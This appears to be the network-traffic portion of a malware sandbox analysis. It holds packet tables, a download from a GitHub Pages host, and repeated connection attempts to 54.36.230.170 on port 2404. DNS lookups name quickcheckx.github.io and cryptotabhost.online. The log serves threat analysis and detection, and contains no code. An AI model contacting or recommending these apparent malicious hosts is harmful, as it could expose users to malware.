Jun 7, 2023 17:08:50.005523920 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.005598068 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.005660057 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.005698919 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.005826950 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.005873919 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.014173031 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.014245987 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.014379978 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.014624119 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.014624119 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.014703035 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.015002966 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.015871048 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.015933990 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.016077042 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.016077042 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.016134024 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.016166925 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.016168118 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.016309023 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.016922951 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.016977072 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.017168045 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.017168999 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.017225027 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.017407894 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025003910 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.025074005 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.025228977 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025229931 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025291920 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.025331020 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025331974 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025387049 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025471926 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.025835037 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.025902033 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.026019096 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.026020050 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.026074886 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.026076078 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.026117086 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.026211023 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.026283026 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.026855946 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.026911974 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.027007103 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.027159929 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.027189970 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.027277946 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.027348995 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.027931929 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.027995110 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.028088093 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028088093 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028151989 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028151989 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028151989 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028151989 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028151989 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028202057 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.028230906 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028230906 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028352976 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028834105 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.028896093 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.028980970 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.028980970 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029037952 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029037952 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029038906 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029038906 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029038906 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029110909 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.029156923 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029158115 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029158115 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029158115 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029257059 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029743910 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.029804945 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.029890060 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029891014 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029947996 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029947996 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029947996 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029947996 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.029948950 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030000925 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.030035019 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030035019 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030035019 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030035019 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030220985 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030689955 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.030745029 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.030838966 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030927896 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030929089 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.030976057 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.031027079 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.031198025 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.031462908 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.031517029 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.031634092 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.031814098 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.031842947 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.031984091 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.037338018 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.037403107 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.037549019 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.037549019 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.037630081 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.037657976 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.037885904 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.038517952 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.038619041 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.038693905 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.038840055 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.038872004 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.039093971 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.040282011 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.040383101 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.040436983 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.040554047 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.040599108 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.040702105 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.040759087 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.040985107 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.041039944 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.041171074 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.041223049 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.041223049 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.041224003 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.041255951 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.041296959 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.041296959 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.041398048 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042603970 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.042656898 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.042757988 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042758942 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042838097 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042838097 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042838097 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042884111 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.042939901 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.042939901 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043067932 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043418884 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.043472052 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.043567896 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043627024 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043627977 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043627977 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043627977 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043694973 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.043742895 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.043872118 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.044264078 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.044317007 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.044395924 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.044491053 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.044524908 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.044589996 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.044677973 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.045101881 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.045156002 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.045278072 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.045464039 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.045506001 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.045661926 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.045876026 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.045929909 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.046025991 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046025991 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046087027 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046087027 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046087027 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046087027 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046087027 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046152115 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.046211004 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046211004 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046211004 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046299934 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046664953 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.046716928 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.046833038 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046833038 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046884060 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046884060 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.046931028 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.046974897 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047084093 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047477007 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.047528982 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.047637939 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047637939 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047713041 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047713995 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047713995 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047769070 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.047832012 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047919035 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.047969103 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.048192024 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.048242092 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.048532009 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.048763990 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.048815966 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.048929930 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.048929930 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.048990011 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.048990011 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049034119 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.049077034 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049196005 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049556017 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.049607992 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.049705982 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049706936 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049763918 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049763918 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049763918 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049814939 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.049866915 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049866915 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.049988985 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050373077 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.050424099 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.050523043 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050523996 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050575018 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050575018 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050621986 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.050668955 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050668955 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050668955 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050669909 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.050817966 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051095009 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.051147938 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.051244020 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051301003 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051301003 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051301956 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051359892 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.051399946 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051400900 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051507950 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.051883936 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.051980019 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.052050114 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052051067 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052114010 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052114010 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052114010 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052114964 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052114964 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052190065 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.052221060 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052269936 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.052344084 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052387953 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.052495003 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052541971 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052550077 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.052634954 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052634954 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052678108 CEST	443	49825	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:50.052716017 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.052793980 CEST	49825	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:50.143088102 CEST	49826	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:08:51.150962114 CEST	49826	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:08:53.166021109 CEST	49826	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:08:57.180859089 CEST	49826	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:05.194621086 CEST	49826	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:12.226308107 CEST	49828	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:13.239842892 CEST	49828	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:15.255116940 CEST	49828	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:19.269710064 CEST	49828	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:27.283732891 CEST	49828	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:34.314006090 CEST	49829	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:35.328697920 CEST	49829	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:37.343982935 CEST	49829	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:41.358721972 CEST	49829	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:49.372646093 CEST	49829	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:56.407670021 CEST	49830	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:57.417661905 CEST	49830	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:09:59.417104006 CEST	49830	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:03.431974888 CEST	49830	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:11.445818901 CEST	49830	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:18.476327896 CEST	49832	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:19.490868092 CEST	49832	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:21.506230116 CEST	49832	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:25.520962954 CEST	49832	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:33.534816027 CEST	49832	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:38.299637079 CEST	49824	80	192.168.11.20	185.199.110.153
Jun 7, 2023 17:10:38.310904980 CEST	80	49824	185.199.110.153	192.168.11.20
Jun 7, 2023 17:10:38.310981989 CEST	80	49824	185.199.110.153	192.168.11.20
Jun 7, 2023 17:10:38.311162949 CEST	49824	80	192.168.11.20	185.199.110.153
Jun 7, 2023 17:10:40.565335035 CEST	49833	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:41.579976082 CEST	49833	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:43.595022917 CEST	49833	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:47.609734058 CEST	49833	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:10:55.623550892 CEST	49833	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:02.653990984 CEST	49834	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:03.668637037 CEST	49834	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:05.683862925 CEST	49834	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:09.698715925 CEST	49834	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:17.712610960 CEST	49834	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:24.743083954 CEST	49835	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:25.757685900 CEST	49835	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:27.772758007 CEST	49835	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:31.787484884 CEST	49835	2404	192.168.11.20	54.36.230.170
Jun 7, 2023 17:11:39.801346064 CEST	49835	2404	192.168.11.20	54.36.230.170

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 7, 2023 17:08:07.978759050 CEST	55171	53	192.168.11.20	1.1.1.1
Jun 7, 2023 17:08:07.990313053 CEST	53	55171	1.1.1.1	192.168.11.20
Jun 7, 2023 17:08:50.120449066 CEST	60265	53	192.168.11.20	1.1.1.1
Jun 7, 2023 17:08:50.141710043 CEST	53	60265	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 7, 2023 17:08:07.978759050 CEST	192.168.11.20	1.1.1.1	0x476	Standard query (0)	quickcheckx.github.io	A (IP address)	IN (0x0001)	false
Jun 7, 2023 17:08:50.120449066 CEST	192.168.11.20	1.1.1.1	0x889b	Standard query (0)	cryptotabhost.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jun 7, 2023 17:08:07.990313053 CEST	1.1.1.1	192.168.11.20	0x476	No error (0)	quickcheckx.github.io	185.199.110.153	A (IP address)	IN (0x0001)	false
